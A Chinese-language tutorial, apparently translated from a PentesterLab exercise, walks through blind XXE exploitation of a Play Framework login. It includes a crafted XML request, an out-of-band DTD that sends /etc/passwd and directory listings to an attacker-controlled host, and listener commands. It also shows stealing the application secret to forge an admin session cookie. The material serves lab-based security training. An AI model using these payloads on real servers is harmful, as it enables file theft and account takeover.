本渗透测试练习提供专门的 练习平台 ,大家可以在pentesterLab中下载VM镜像,还可以读一下原文英文教程。
介绍
本课程在只用框架中描述了XML entity漏洞的利用,这个漏洞可以的达到在任意目录检索任意的文件和列表的目的。
有趣的是,这个bug是完全透明的,并可可以很长时间都没有被发现。对这个bug进行黑盒测试,你需要知道你想要寻找的目录或者文件,如果你想不看教程试试自己的本领,当然可以,但是还是建议你先看 这里的 (英文且需要翻墙)。
Play Framework
这个渗透框架是一个web的框架,在这个框架中,开发者可以快速的使用java或者scala编译开发web应用。这样可以有序管理代码,并且url可以像Ruby-on-Rails一样被映射。
就像Ruby-on-Rails,当收到Http请求时,Play框架管理多种文本类型。因此应用会非常简单并且与XML文件没有关联,这仅仅是一个登陆页面。然而,既然Play框架可以自动解析XML请求,我们就能使用这个bug去读取任意的文件。
缺点:
当解析xml文件时,最重要的安全检查就是确保xml Entity不可用,XML实体可以告诉XML解析器去匹配特定内容:
1. 从文件系统 2. 从web服务器(HTTP,HTTPS) 3. 或者从一个FTP服务器上
这显然可以被攻击者利用来查看应用上的敏感的信息(比如路径,密码,源代码等等)
Exploition
我们如何来利用这个漏洞呢?请看下图!
我比较喜欢的方法(这个是一个黑盒测试),有四个相邻的终端。
1. 第一个终端:发送初始化请求。(step1)
2. 第二个终端:发送DTD。(step2&3)
3. 第三个终端:浏览被发送到服务器上的信息。
4. 第四个终端:调试
初始化请求—第一步
首先,我们需要发送一个正确的http请求,最简单的方法就是写一个小脚本去连接服务器。然而我们并需要管回复,但是我们仍然可以所以目标。你可以使用代理或者手动netcat来做。但是如果你用netcat的话就需要手动设置Centen-Length Header的长度了。
我们需要修改这个请求来发送XML,这样我们就需要做下面的工作。
1. 删掉没用的东西
2. 在消息包中添加XML信息。
3. 改变Centent-Type字段(大家都知道这是要干嘛的喔)
POST /login HTTP/1.1 Host: vulnerable Connection: close Content-Type: text/xml Content-Length: 97 <?xml version="1.0"?> <!DOCTYPE foo SYSTEM "http://192.168.159.1:3000/test.dtd"> <foo>&e1;</foo> 本地DTD:http://192.168.159.1:3000/test.dtd
现在我们有了想要发送的数据包(包含XML),我们可以把它发送到服务器了,如果进行的顺利的话,服务器将会相应一个400错误,因为不能索引DTD。
Serving the DTD
为了使用DTD或者其他的文件,我们需要一个web服务器,这可以在任何一台服务器上做到,然而你将需要能看见是否服务器取回DTD。在真实的场景中,目标服务器也许不能进入你自己的的服务器,所以你得有办法解决这个问题:
最简单的办法就是:
1.在前台Run一个小型的web服务器。我个人比较喜欢使用webrisk,并且留一个Shell来随时启动web服务器。
Bash:alias web="ruby -rwebrick -e's=WEBrick::HTTPServer.new(:Port => 3000, :DocumentRoot => Dir.pwd); trap(/"INT/"){s.shutdown};s.start'"
2.运行web服务器的同时使用tail –f来列出收到的每一个请求。
如果你使用了上面的别名,不出意外你能看到下面这些东西:
% web [2015-03-31 08:19:28] INFO WEBrick 1.3.1 [2015-03-31 08:19:28] INFO ruby 1.9.3 (2012-12-25) [x86_64-darwin12.2.1] [2015-03-31 08:19:28] WARN TCPServer Error: Address already in use - bind(2) [2015-03-31 08:19:28] INFO WEBrick::HTTPServer#start: pid=6028 port=3000
如果你成功了,记得检查一下你使用浏览器来看你的web网页的时候下面的log出现在shell中:
localhost - - [31/Mar/2015:08:20:46 AEDT] "GET /test.dtd HTTP/1.1" 200 153 http://localhost:3000/ -> /test.dtd
使用下面的DTD,这样就能强制发送给你这些消息了:
<!ENTITY % p1 SYSTEM "file:///etc/passwd"> <!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://192.168.159.1:3001/BLAH?%p1;'>"> %p2;
这个DTD将会强迫XML解析器读取/etc/passwd中的内容并且把它的值传给p1. 然后接着创造另一个变量p2,这个变量将会包含一个含有p1的值恶意连接。然后使用%p2打印p2的值,这样,在解析了DTD的时候,你就会看到这个东西了:
<!ENTITY e1 SYSTEM 'http://192.168.159.1:3001/BLAH?[/etc/passwd]'>
[/etc/passwd]这里面的内容就是/etc/passwd中的内容。我们回顾一下我们刚开始发送的数据包。数据包包含了一个索引:e1: <foo>&e1;</foo>
一旦服务器完成DTD过程,就回释放掉到e1的索引,并且发送/etc/passwd到你的服务器上。
第五步,浏览信息
最后我们需要接受信息,我们可以这样来做:
1. netcat –l –p 3001 但是你每次进入TCP端口时都需要重启进程。 2. socat TCP-LISTEN:3001,reuseaddr,fork – 这条命令让第一条请求到达之后端口不被关掉,并且阻塞后面的进程。
于是,现在万事俱备了!
看右上角,密码已经出现了!
GET /BLAH?root:x:0:0:root:/root:/bin/sh%0Alp:x:7:7:lp:/var/spool/lpd:/bin/sh%0Anobody:x:65534:65534:nobody:/nonexistent:/bin/false%0Atc:x:1001:50:Linux%20User,,,:/home/tc:/bin/sh%0Apentesterlab:x:1000:50:Linux%20User,,,:/home/pentesterlab:/bin/sh%0Aplay:x:100:65534:Linux%20User,,,:/opt/play-2.1.3/xxe/:/bin/false%0Amysql:x:101:65534:Linux%20User,,,:/home/mysql:/bin/false%0A HTTP/1.1 User-Agent: Java/1.7.0-internal Host: 192.168.159.1:3001 Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: keep-alive
那么接下来,我们来谈谈如何在互联网中探测这种漏洞:
首先,在互联网中我们不能保证服务器允许回连。为了寻找这种漏洞(并且服务器解析了外部名),你可以使用DNS。
为了达成目的,你只需要安装一个DNS服务来检测log就可以了,然后你可以使用XML Entity来指向你的域名:例如 http://rand0m123.blahNaNl.io ,把信息发送出去。如果这个服务器有这种漏洞(可以解析外部DNS名),你将会看到来自你的目标的DNS解析请求。
寻找私密URL:
现在一切正常,我们需要寻找到私密URL,Play框架使用一个route文件来寻找那些可用的URL。我们需要找到这个文件来得到私密URL。
如果我们想使用老办法/etc/passwd,并且把它URL编码,我们就会看到Play User显示:
% irb 1.9.3-p362 :001 > require 'uri' => true 1.9.3-p362 :002 > puts URI.decode("GET /BLAH?root:x:0:0:root:/root:/bin/sh%0Alp:x:7:7:lp:/var/spool/lpd:/bin/sh%0Anobody:x:65534:65534:nobody:/nonexistent:/bin/false%0Atc:x:1001:50:Linux%20User,,,:/home/tc:/bin/sh%0Apentesterlab:x:1000:50:Linux%20User,,,:/home/pentesterlab:/bin/sh%0Aplay:x:100:65534:Linux%20User,,,:/opt/play-2.1.3/xxe/:/bin/false%0Amysql:x:101:65534:Linux%20User,,,:/home/mysql:/bin/false%0A HTTP/1.1") GET /BLAH?root:x:0:0:root:/root:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/false tc:x:1001:50:Linux User,,,:/home/tc:/bin/sh pentesterlab:x:1000:50:Linux User,,,:/home/pentesterlab:/bin/sh play:x:100:65534:Linux User,,,:/opt/play-2.1.3/xxe/:/bin/false mysql:x:101:65534:Linux User,,,:/home/mysql:/bin/false
这个user的home文件夹位于/opt/play-2.1.3/xxe/,因此这里面一定有我们需要的东西。
因为XML解析器的不同,我们有可能解析到一个目录列表。唯一的方法就是去尝试!!!接下来我们把DTD文件指向/opt/play-2.1.3/xxe/:
<!ENTITY % p1 SYSTEM "file:///opt/play-2.1.3/xxe/"> <!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://192.168.159.1:3001/BLAH?%p1;'>"> %p2;
接下来我们就能看到下面的内容了:
GET /BLAH?.gitignore%0A.settings%0Aapp%0Aconf%0Alogs%0Aproject%0Apublic%0AREADME%0ARUNNING_PID%0Atarget%0Atest%0A HTTP/1.1
解码结果如下:
GET /BLAH?.gitignore .settings app conf logs project public README RUNNING_PID target test HTTP/1.1
这样我们就可以找到conf/routes。一旦你成功查看了routes文件,你就能可以进入秘密URL了。
干预Session:
另一个Play application重要的文件就是application.conf,这个文件包含了登陆session的密码。这个文件通常在conf文件夹中,一旦你拥有这个文件,你就可以轻易的登陆了。
首先,你需要拿到conf/application.conf这个文件(使用教程提供的方法),然后你需要使用这个文件来伪造session,为了做到这一点我们需要了解一下session都有些什么东西。我们可以拿到application的源代码,来理解登陆逻辑。
基于conf/routes文件,我们知道java中的方法:controlers.Application.login在我们提交表单的时候被调用。一般来说这个源码在app/controllers/Application.java中(或者.scala)。
一旦我们拿到了controller的元大吗我们就可以看到session是如何被管理的,例如下面的代码:
User user = User.findByUsername(username); if (user!=null) { if (user.password.equals(md5(username+":"+password) )) { session("user",username); return redirect("/");
我们将使用admin给user赋值来伪造一个session。
如果了解过Play Session Inject( url贴 上)的话,你就会惊奇的发现Play的session内部已经改变了。
以前是这样的 signature-%00name1:value1%00%00name2:value2%00 在这个Play的版本中 signature-name1=value1&name2=value2
def encode(data: Map[String, String]): String = { val encoded = data.map { case (k, v) => URLEncoder.encode(k, "UTF-8") + "=" + URLEncoder.encode(v, "UTF-8") }.mkString("&") if (isSigned) Crypto.sign(encoded) + "-" + encoded else encoded }
我们需要添加变量user=admin
最后我们可以登陆这个session,源代码如下:
def sign(message: String, key: Array[Byte]): String = { val mac = Mac.getInstance("HmacSHA1") mac.init(new SecretKeySpec(key, "HmacSHA1")) Codecs.toHexString(mac.doFinal(message.getBytes("utf-8"))) }
KEY = "[KEY FOUND IN conf/application.conf]" def sign(data) OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, KEY,data) end
最后一步就是知道session的cookie名,既然可以在conf/application.conf中被改变,默认的名字就是PLAY_SESSION.在浏览器中设置这些cookie之后,我们可以看见我们作为admin已经登陆了。
结论
这个练习教我们如何使用Play框架中的XML entity的漏洞。这个漏洞相当有趣,因为它以一种和开发者完全相反的方式去影响Play框架。* 作者:VillanCh,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)